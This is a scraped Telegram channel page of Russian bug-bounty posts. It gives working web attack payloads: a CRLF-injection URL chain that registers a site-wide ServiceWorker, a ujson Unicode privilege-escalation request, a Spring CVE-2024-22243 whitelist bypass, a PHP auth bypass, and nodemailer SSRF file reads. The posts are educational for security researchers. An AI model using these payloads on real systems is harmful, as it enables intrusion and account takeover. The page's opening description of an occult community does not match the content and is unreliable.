SHADOW:Group @shadow_group_tg Channel on Telegram

SHADOW:Group

@shadow_group_tg


Чат: @shadow_chat_tg

Предложения, вопросы, сотрудничество:
@shdwpwn

SHADOW:Group (Russian)

SHADOW:Group - это Telegram-канал, который предлагает уникальное сообщество для всех любителей мистики, загадок и тайн. Здесь вы найдете увлекательные обсуждения, интересные статьи и самые свежие новости из мира теней.

SHADOW:Group - это не просто канал, это место, где вы сможете встретить единомышленников, обсудить самые загадочные явления и узнать что-то новое для себя. Каждый день на канале появляются новые посты, которые поднимают важные и захватывающие темы.

Если вы увлечены темами оккультизма, паранормальных явлений и загадочной сущности теней, то SHADOW:Group - это именно то место, где вам следует быть. Присоединяйтесь к нашему каналу, делитесь своими мыслями и идеями, общайтесь с интересными людьми и давайте узнаем больше вместе!🌑🔮

Чат: @shadow_chat_tg

По вопросам сотрудничества и предложениям обращайтесь:
@shdwpwn

SHADOW:Group

18 Nov, 06:55


💳 Про инъекции в JSON

JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.

Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}


В данном примере производится очистка входных данных, блокирующая создание администратора. Однако, если на бэке популярный в Python анализатор ujson, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}


Более подробно об этом и других кейсах читайте в статье по ссылке.

#web #bypass #priveesc

SHADOW:Group

10 Nov, 12:27


Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)

Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.

Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type

Используя CRLF Injection оба этих условия легко выполняются:

XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>


JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.

Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.

Для этого формируем код ServiceWorker с Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})


И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E


Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A

SHADOW:Group

31 Oct, 06:10


↔️ Open Redirect и SSRF в Spring

Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.

Символ «левой квадратной скобки» [ в сегменте юзеринфо может привести к тому, что UriComponentsBuilder в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.

http://target.com/redirect?url=https://target.com%[email protected]


Подробнее по ссылке.

#web #redirect #ssrf

SHADOW:Group

29 Oct, 15:30


🙏 Розыгрыш проходок BUGS ZONE 3.0

В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.

Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.

SHADOW:Group

28 Oct, 09:19


Как читают отчет по пентесту

SHADOW:Group

22 Oct, 06:41


💻 Что не так с этим кодом?

Взгляните внимательно на код ниже. Заметили уязвимость? Ответ под спойлером.

<?php
$input = $_GET["password"];
$answer = json_decode($input);
//random 16 character token
$token = base64_encode(bin2hex(random_bytes(16)));
$password = $answer->password;
if ($password == $token) {
echo "Admin Panel";
} else {
echo "Error Encoutered! Wrong Token!<br>";
echo "Your token was: $token";
}
?>


Можно ли обойти аутентификацию указав вместо пароля значение true? На самом деле да и данный код тому пример.

PHP имеет слабую типизацию, и при использовании оператора == (нестрогое сравнение) происходит автоматическое приведение типов. Это может привести к неожиданным результатам при сравнении разных типов данных.

В данном случае, если злоумышленник отправит JSON, где значением поля password будет true, сравнение между $password и сгенерированным токеном пройдет успешно. Сравнение в строке if ($password == $token) приведет токен к типу boolean для выполнения сравнения, и поскольку любое непустое значение токена при приведении к булеву типу будет равно true, условие выполнится успешно. Таким образом можно обойти аутентификацию и получить доступ к закрытому ресурсу.


#web #ato #appsec

SHADOW:Group

17 Oct, 06:47


SSRF через вложения в электронной почте

Приложение позволяло администраторам отправлять массовые письма пользователям в организации. Оно также разрешало прикреплять файлы к письмам. Вложения кодировались в base64 и добавлялись в качестве параметра запроса (см. на скрин)

Не было особой причины думать, что изменение параметра email_attachments на URL сработает, но я решил попробовать. И действительно, после изменения его на Burp Collaborator я получил отстук:

GET / HTTP/1.1  
accept-encoding: gzip,deflate
user-agent: nodemailer/4.7.0
Host: 716cq...ht5i.burpcollaborator.net
Connection: close


Оказалось, что приложение использует старую версию nodemailer. Быстро стало понятно, что приложение просто принимает строку email_attachments, введённую пользователем, и передаёт её как параметр пути в API вложений nodemailer.

Приложение ожидало data:URI, но если вместо этого передать URL, nodemailer попытается найти файл по этому URL и прикрепить его.

Забавно, что nodemailer очень хотел видеть расширение файла в URL. Поэтому для получения файлов надо было указывать что-то типа http://10.10.1.3:3000/api/v1/apps/list%23test.txt.

Позже выяснилось, что nodemailer прикреплял и локальные файлы. Отправка запроса на конечную точку send_email с перечнем известных путей к файлам привела к интересным находкам: конфигурационные файлы, дампы пользователей и т.д.

#web #ssrf #lfr

SHADOW:Group

03 Oct, 15:44


Сегодня доклад для любителей SSRF и Bug Bounty

Егор Зонов показал примеры уязвимостей Server-Side Request Forgery, которые были сданы в багбаунти Яндекса, вместе со статистикой выплат за них в 2023 году. Рассказал про обнаружение SSRF и про распространённые способы от него защититься, а на 21-й минуте заспойлерил сервис SSRF Sheriff во внутрянке Яндекса — инструмент для багхантеров на «Охоте», который позволяет проверить, а был ли SSRF.

📺 → видос
🗂 → преза
💬 → фидбэк

SHADOW:Group

27 Sep, 13:25


Баг, через который можно угнать все машины от Kia

У Kia есть приложение Connect, через которое можно узнать где находится твоя машина, посигналить, а еще открыть ее и завести. Но как оно понимает, что это твоя машина, а не чужая?

После того, как ты купил Kia, дилер дает тебе ссылку, которая линкует машину с твоей учеткой для входа в само приложение.

Ссылка с одноразовым токеном ведет на сайт дилера. На этом же сайте из JS-кода можно найти эндпоинты, через которые дилер генерит эти ссылки, а еще запросы на то, чтобы управлять машиной.

Кроме того, ты сам можешь зарегаться как дилер, — этот эндпоинт был скрыт, но его получилось найти из-за того, что сайт дилера это форк клиентского API. И читать данные о владельцах чужих машин, а еще управлять ими.

Мораль такая: если ты покупаешь такую машину, помни, что она не становится твоей на 100%. У дилера, вендора и хакеров всегда остаются возможности угнать ее удаленно.

SHADOW:Group

26 Sep, 10:01


⌨️ AD CS Web Enrollment. Relay меня полностью

Отличная статья от @VeeZy_VeeZy про AD CS Web Enrollment и его применение на примере проекта по инфраструктурному пентесту.

Подробное объяснение, команды и обилие скринов прилагается.

Ссылка на Хабр

#pentest #ad

SHADOW:Group

25 Sep, 16:35


🤠 Дикий Запад, 2024 год. Вечереет. В бар заходят двое хакеров и специалист SOC в Standoff. Бармен бросает на них взгляд и говорит:

«Заходите, чужаки. Откуда сами будете? Слышали новость нашего городка?

Два топа комьюнити — BooL и mimicate — исключительно в образовательных целях (для того чтобы поделиться с вами подходами к исследованию безопасности) порешали в формате спродюсированного батла пару заданий на онлайн-полигоне Standoff. Наблюдал за ними Рэм, главный ковбой, а точнее руководитель группы продуктов безопасности Standoff: следил за их действиями через средстваа защиты информации и комментировал».

Бармен наливает три пинты пива 🍺🍺🍺. Вытирая пену со стаканов, он продолжает:

«Что вышло? Смотрите в четырех опубликованных стрим-записях. Все ролики идут в одном тайминге. Хочешь — смотри общий, хочешь — переключайся между экранами профессионалов и изучай их техники и тулзы».

Общая трансляция (Вид от лица Бармена)
BooL
mimicate
Рэм (Главный ковбой)

SHADOW:Group

20 Sep, 21:07


💬 Обновленный поиск XSS с Nuclei

В новом обновлении Nuclei v3.3.2 добавили фичу, позволяющую обнаруживать XSS в headless моде с помощью действия waitdialog. Говоря по простому, теперь можно составить шаблон, который будет понимать, когда выскакивает alert(), что позволит искать в том числе и DOM XSS.

Я решил протестить все это на лабе портсвигера. По итогу, получился вот такой шаблон:
id: xss-detection

info:
name: Test Template for DOM XSS
author: shdwpwn
severity: medium
description: Test Template for DOM XSS
reference: https://blog.projectdiscovery.io/simplifying-xss-detection-with-nuclei/
tags: xss

headless:
- steps:
- args:
url: "{{BaseURL}}/?search=<img/src/onerror=alert()>"
action: navigate

- action: waitdialog
name: popup

matchers:
- type: dsl
dsl:
- popup == true
condition: and


Запускаем его через команду:
nuclei -headless -t dom-xss-test.yaml -u https://blablabla.web-security-academy.net


Более подробно, как всегда, в блоге от Project Discovery.

#web #xss #tools

SHADOW:Group

20 Sep, 13:03


Хочешь получить доступ к приватным программам на платформе Standoff Bug Bounty?

Конечно хочешь. Вот короткая инструкция, что делать:

1️⃣ Перейди по ссылке и заполни небольшой опрос.

2️⃣ Попади в список из 50 счастливчиков с самыми классными навыками и опытом. Если пройдешь отбор, мы сразу же тебе напишем.

3️⃣ Ищи баги в свеженьком закрытом скоупе.

❗️ Важное условие: у тебя не должно быть ни одной приватной программы.

Еще читаешь? Бросай это дело — анкета сама себя не заполнит.

SHADOW:Group

17 Sep, 07:48


Давненько не обновлял Burp Suite и решил глянуть на изменения в новых версиях. Помимо улучшения производительности, оказывается, теперь там можно … играть???

https://github.com/BugBountyzip/Bambdas

SHADOW:Group

09 Sep, 10:56


Опубликовали видеоролик о том, как прошла ежегодная независимая премия Pentest award 2024!

Радостные лица, толпа заряженных специалистов, и, конечно, счастливые победители с наградами в руках — настоящий праздник этичного хакинга.

Здорово было встретится в офлайне со старыми друзьями и коллегами, познакомиться с новыми людьми, обменяться знаниями и идеями, поговорить о важном, профессиональном, наболевшем.

До встречи в 2025 году 👋

Отдельная благодарность партнерам проекта: BI.ZONE Bug Bounty, VK Bug Bounty, OFFZONE и CyberED.

📺 Полное видео
🔗 Pentest award (архив)
@justsecurity

SHADOW:Group

04 Sep, 14:16


Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔

Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода 🖼️

Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость 👀

Подробнее

SHADOW:Group

01 Sep, 09:43


🖊️Семантические уязвимости в серверах Apache

В связи с недавно прошедшими мероприятиями и моим отпуском не было времени упомянуть некоторые крутые недавно опубликованные доклады. И к одному из таких относится ресерч старины Orange Tsai, в ходе которого было найдено сразу несколько CVE и различных мисконфигов в серверах Apache.

Странно, что никто об этом еще не написал, так как материал очень интересный и я всем рекомендую ознакомиться с оригиналом по ссылке. Я также набросал несколько шаблонов для Nuclei на основе этого доклада, которые вы можете доработать или использовать как есть на своих целях (закину их в комменты под постом).

#web #apache #cve

SHADOW:Group

27 Aug, 10:12


😆 Как мы с вами выросли за год

На пресс-конференции в рамках OFFZONE 2024 поделились итогами работы BI.ZONE Bug Bounty вместе со Сбером, «Группой Астра» и багхантером Артёмом Бельченко.

Из интересного:

🔵Сегодня на платформе размещаются 34 компании и 78 программ по поиску уязвимостей.

🔵Выплаты увеличились почти в 3 раза: их общая сумма составила 45 миллионов рублей, а за уязвимости уровней high и critical заплатили 28 миллионов рублей.

🔵Более чем в 1,5 раза возросло количество отчетов от багхантеров. При этом каждая шестая обнаруженная уязвимость относилась к уровням high и critical.

🔵За последний год на платформе более чем в 3 раза увеличилось количество компаний из финансовой отрасли и в 6 раз выросло число программ от госсектора.

🔵Мы запустили первую в стране программу по поиску уязвимостей в инфраструктуре субъекта РФ — Ленинградской области.

Впереди нас ждет еще больше программ, выплат и крутых ивентов для сообщества!

Если еще не багхантите с нами, присоединяйтесь ;)